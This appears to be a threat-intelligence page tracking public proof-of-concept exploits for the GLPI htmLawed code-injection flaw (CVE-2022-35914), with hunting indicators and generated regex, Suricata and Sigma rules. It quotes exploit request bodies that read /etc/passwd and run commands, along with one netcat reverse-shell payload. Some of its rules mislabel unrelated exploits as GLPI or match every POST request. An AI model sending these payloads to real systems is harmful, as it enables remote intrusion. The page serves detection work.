PoC Monitor
← All CVEs
CVE-2022-35914published 19 Sep 2022 00:00 UTCData: JSON · API

Teclib GLPI

Teclib GLPI Remote Code Execution Vulnerability

/vendor/htmlawed/htmlawed/htmLawedTest.php in the htmlawed module for GLPI through 10.0.2 allows PHP code injection.

First public PoC 12 daysafter publication · 30 Sep 2022
Public PoCs1613 on GitHub · 3 Exploit-DB, Metasploit or nuclei
CVSS9.8critical · scored by CISA ADP · CWE-74
CISA KEV 7 Mar 2023169 days after publication

Timeline

Days relative to CVE publication
t=0+30+60+90+120+150CVE published19 Sep 2022 · t = 0First public PoC30 Sep 2022 · t+12dAdded to CISA KEV7 Mar 2023 · t+169d

First public PoC 12 days after publication; added to CISA KEV 169 days after publication. First PoC: cosad3s/CVE-2022-35914-poc (created 30 Sep 2022, found by us: backfilled).

PoC repositories

Found on GitHub.

13 PoCs · 2 pending

PoCs 13
RepositoryCreatedStarsAssessment
cosad3s/CVE-2022-35914-poc 30 Sep 2022 +12 d 51 PoC
Lzer0Kx01/CVE-2022-35914 9 Oct 2022 +20 d 2 PoC
xiaobaiakai/CVE-2022-35914 9 Oct 2022 +20 d 2 PoC
6E6L6F/CVE-2022-35914 12 Oct 2022 +23 d 1 PoC
0xGabe/CVE-2022-35914 6 Nov 2022 +48 d 2 PoC via PoC Index
Gabriel-Lima232/CVE-2022-35914 6 Nov 2022 +48 d 2 PoC via PoC Index
Johnermac/CVE-2022-35914 7 Mar 2023 +169 d 0 PoC
reewardius/myown-nuclei-poc 27 Apr 2023 +220 d 0 Scanner
allendemoura/CVE-2022-35914 24 Apr 2024 +1.6 y 4 PoC
senderend/CVE-2022-35914 24 Apr 2024 +1.6 y 4 PoC
noxlumens/CVE-2022-35914_poc 25 Aug 2024 +1.9 y 2 PoC
btar1gan/exploit_CVE-2022-35914 20 Sep 2024 +2.0 y 0 PoC
cyb3rk0ala/CVE-2022-35914-RCE 11 Aug 2026 +3.9 y 0 PoC
Pending 2
RepositoryCreatedStarsAssessment
0romos/CVE-2022-35914 unknown 0 Pending · repository unavailable (HTTP 404)
franckferman/GLPI-htmLawed-CVE-2022_35914-PoC unknown 0 Pending · repository unavailable (HTTP 404)

Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.

Other public exploits

Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.

PoC characteristics

What to hunt for in your logs · from 13 PoC repos

POST /vendor/htmlawed/htmlawed/htmLawedTest.php

Key headers
Cookie: sid=foo
Body markers
sid=foo hhook=exec text=cat /etc/passwd token= text=id sid= text= hfoo= hhook= text=call_user_func hhook=array_map hexec=passthru spec[0]= spec[1]= in application/x-www-form-urlencoded
PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Seen in
9 repos: 0xGabe/CVE-2022-35914, Gabriel-Lima232/CVE-2022-35914, Lzer0Kx01/CVE-2022-35914, allendemoura/CVE-2022-35914, cosad3s/CVE-2022-35914-poc, noxlumens/CVE-2022-35914_poc, reewardius/myown-nuclei-poc, senderend/CVE-2022-35914, xiaobaiakai/CVE-2022-35914
Evidence
0xGabe/CVE-2022-35914/README.md:7 Gabriel-Lima232/CVE-2022-35914/README.md:7 Lzer0Kx01/CVE-2022-35914/main.py:58 allendemoura/CVE-2022-35914/CVE-2022-35914.py:60 cosad3s/CVE-2022-35914-poc/CVE-2022-35914.py:57 noxlumens/CVE-2022-35914_poc/CVE-2022-35914.py:46

POST /

Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Cookie: sid=k5j7aolrg4n985379pi2js0o12 Cookie: sid={var} Origin: http://192.168.219.190 Referer: http://192.168.219.190/ Upgrade-Insecure-Requests: 1
Body markers
sid=k5j7aolrg4n985379pi2js0o12 hhook=exec text=nc 192.168.45.218 4444 -e /bin/bash text= sid= in application/x-www-form-urlencoded
Ports
80
PoC User-Agent
Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Seen in
1 repo: btar1gan/exploit_CVE-2022-35914
Evidence
btar1gan/exploit_CVE-2022-35914/35914.txt:1 btar1gan/exploit_CVE-2022-35914/35914.txt:15

GET /eoffice10/server/public/iWebOffice2015/Document/soaptest.php

Seen in
1 repo: reewardius/myown-nuclei-poc
Evidence
reewardius/myown-nuclei-poc/fanwei/fanwei-e-office-v10-fileupload.yaml:34

GET /service/~ic/bsh.servlet.BshServlet

Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: zh-CN,zh;q=0.9 Upgrade-Insecure-Requests: 1
PoC User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Seen in
1 repo: reewardius/myown-nuclei-poc
Evidence
reewardius/myown-nuclei-poc/yongyou/yongyou-nc-beanshell-detect.yaml:13

POST /eoffice10/server/public/iWebOffice2015/OfficeServer.php

Body markers
------WebKitFormBoundaryjBiFKq46T8PfCB9o Content-Disposition: form-data; name="FileData"; filename="1.jpg" Content-Type: in multipart/form-data; boundary=----WebKitFormBoundaryjBiFKq46T8PfCB9o
PoC User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Seen in
1 repo: reewardius/myown-nuclei-poc
Evidence
reewardius/myown-nuclei-poc/fanwei/fanwei-e-office-v10-fileupload.yaml:15

POST /service/~ic/bsh.servlet.BshServlet

Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: zh-CN,zh;q=0.9 Cache-Control: max-age=0 Origin: {var} Referer: {var}/service/~fipub/bsh.servlet.BshServlet Upgrade-Insecure-Requests: 1
Body markers
bsh.script=print(" in application/x-www-form-urlencoded
PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Seen in
1 repo: reewardius/myown-nuclei-poc
Evidence
reewardius/myown-nuclei-poc/yongyou/yongyou-nc-beanshell-rce.yaml:15

Regex

Generated from PoC characteristics; not yet reviewed. Matches the request path and query.

POST /vendor/htmlawed/htmlawed/htmLawedTest.php
(?i)^/vendor/htmlawed/htmlawed/htmLawedTest\.php(?:[?#].*)?$
GET /vendor/htmlawed/htmlawed/htmLawedTest.php
(?i)^/vendor/htmlawed/htmlawed/htmLawedTest\.php(?:[?#].*)?$
POST /
(?i)^/(?:[?#].*)?$
GET /eoffice10/server/public/iWebOffice2015/Document/soaptest.php
(?i)^/eoffice10/server/public/iWebOffice2015/Document/soaptest\.php(?:[?#].*)?$
GET /service/~ic/bsh.servlet.BshServlet
(?i)^/service/~ic/bsh\.servlet\.BshServlet(?:[?#].*)?$

Suricata

Template generated from PoC characteristics. Review before deploying.

POST /vendor/htmlawed/htmlawed/htmLawedTest.php
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2022-35914 Teclib GLPI exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/vendor/htmlawed/htmlawed/htmLawedTest.php"; http.header; content:"Cookie: sid=foo"; nocase; http.request_body; content:"sid=foo"; http.request_body; content:"hhook=exec"; http.request_body; content:"text=cat /etc/passwd"; http.request_body; content:"token="; http.request_body; content:"text=id"; http.request_body; content:"sid="; http.request_body; content:"text="; http.request_body; content:"hfoo="; http.request_body; content:"hhook="; http.request_body; content:"text=call_user_func"; http.request_body; content:"hhook=array_map"; http.request_body; content:"hexec=passthru"; http.request_body; content:"spec[0]="; http.request_body; content:"spec[1]="; reference:url,poc.griffinguard.io/cve/CVE-2022-35914; classtype:web-application-attack; sid:9581901; rev:1;)
GET /vendor/htmlawed/htmlawed/htmLawedTest.php
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2022-35914 Teclib GLPI exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/vendor/htmlawed/htmlawed/htmLawedTest.php"; reference:url,poc.griffinguard.io/cve/CVE-2022-35914; classtype:web-application-attack; sid:9796093; rev:1;)
POST /
alert http any any -> $HOME_NET [80] (msg:"GG PoC-Monitor CVE-2022-35914 Teclib GLPI exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.header; content:"Accept: text/html,application/xhtml+xml,application/xml|3b|q=0.9,image/avif,image/webp,*/*|3b|q=0.8"; nocase; http.header; content:"Accept-Language: en-US,en|3b|q=0.5"; nocase; http.header; content:"Cookie: sid=k5j7aolrg4n985379pi2js0o12"; nocase; http.header; content:"Cookie: sid="; nocase; http.header; content:"Origin: http://192.168.219.190"; nocase; http.header; content:"Referer: http://192.168.219.190/"; nocase; http.header; content:"Upgrade-Insecure-Requests: 1"; nocase; http.request_body; content:"sid=k5j7aolrg4n985379pi2js0o12"; http.request_body; content:"hhook=exec"; http.request_body; content:"text=nc 192.168.45.218 4444 -e /bin/bash"; http.request_body; content:"text="; http.request_body; content:"sid="; reference:url,poc.griffinguard.io/cve/CVE-2022-35914; classtype:web-application-attack; sid:9098190; rev:1;)
GET /eoffice10/server/public/iWebOffice2015/Document/soaptest.php
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2022-35914 Teclib GLPI exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/eoffice10/server/public/iWebOffice2015/Document/soaptest.php"; reference:url,poc.griffinguard.io/cve/CVE-2022-35914; classtype:web-application-attack; sid:9508608; rev:1;)
GET /service/~ic/bsh.servlet.BshServlet
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2022-35914 Teclib GLPI exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/service/~ic/bsh.servlet.BshServlet"; http.header; content:"Accept: text/html,application/xhtml+xml,application/xml|3b|q=0.9,image/avif,image/webp,image/apng,*/*|3b|q=0.8,application/signed-exchange|3b|v=b3|3b|q=0.9"; nocase; http.header; content:"Accept-Language: zh-CN,zh|3b|q=0.9"; nocase; http.header; content:"Upgrade-Insecure-Requests: 1"; nocase; reference:url,poc.griffinguard.io/cve/CVE-2022-35914; classtype:web-application-attack; sid:9107775; rev:1;)

Sigma

Template generated from PoC characteristics. Review before deploying.

POST /vendor/htmlawed/htmlawed/htmLawedTest.php
title: Teclib GLPI exploit attempt (CVE-2022-35914)
id: gg-pocmon-cve-2022-35914-9581901
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-35914. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2022-35914
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '/vendor/htmlawed/htmlawed/htmLawedTest.php'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2022.35914
GET /vendor/htmlawed/htmlawed/htmLawedTest.php
title: Teclib GLPI exploit attempt (CVE-2022-35914)
id: gg-pocmon-cve-2022-35914-9796093
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-35914. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2022-35914
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/vendor/htmlawed/htmlawed/htmLawedTest.php'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2022.35914
POST /
title: Teclib GLPI exploit attempt (CVE-2022-35914)
id: gg-pocmon-cve-2022-35914-9098190
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-35914. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2022-35914
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2022.35914
GET /eoffice10/server/public/iWebOffice2015/Document/soaptest.php
title: Teclib GLPI exploit attempt (CVE-2022-35914)
id: gg-pocmon-cve-2022-35914-9508608
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-35914. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2022-35914
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/eoffice10/server/public/iWebOffice2015/Document/soaptest.php'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2022.35914
GET /service/~ic/bsh.servlet.BshServlet
title: Teclib GLPI exploit attempt (CVE-2022-35914)
id: gg-pocmon-cve-2022-35914-9107775
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-35914. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2022-35914
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/service/~ic/bsh.servlet.BshServlet'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2022.35914